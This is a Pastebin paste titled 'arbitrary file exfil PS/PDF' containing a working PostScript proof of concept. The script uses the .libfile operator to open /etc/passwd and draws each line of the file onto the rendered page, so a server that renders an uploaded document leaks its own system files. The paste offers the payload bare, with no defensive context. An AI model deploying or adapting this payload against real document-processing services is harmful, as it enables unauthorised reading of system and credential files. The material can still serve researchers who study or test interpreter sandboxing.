daily pastebin goal
35%
SHARE
TWEET

arbitrary file exfil PS/PDF

a guest Feb 26th, 2019 60 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. %!PS
  2. /Buf 1024 string def % line buffer
  3.  
  4. /Courier 16 selectfont            % name and size of font
  5. /LM 0 def                         % x coord
  6. /ypos 700 def                     % y coord
  7. /lineheight 16 def                % height of a line
  8. /newline {                        % function for changing lines
  9.     ypos lineheight sub
  10.     /ypos exch def
  11.     LM ypos moveto
  12. } def
  13. LM ypos moveto                    % move to starting coords
  14.  
  15. (/etc/passwd) .libfile {
  16.     {
  17.         dup Buf readline
  18.         {
  19.             show    
  20.         }{
  21.             showpage
  22.             quit
  23.         } ifelse
  24.         newline
  25.     } loop
  26. } if
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top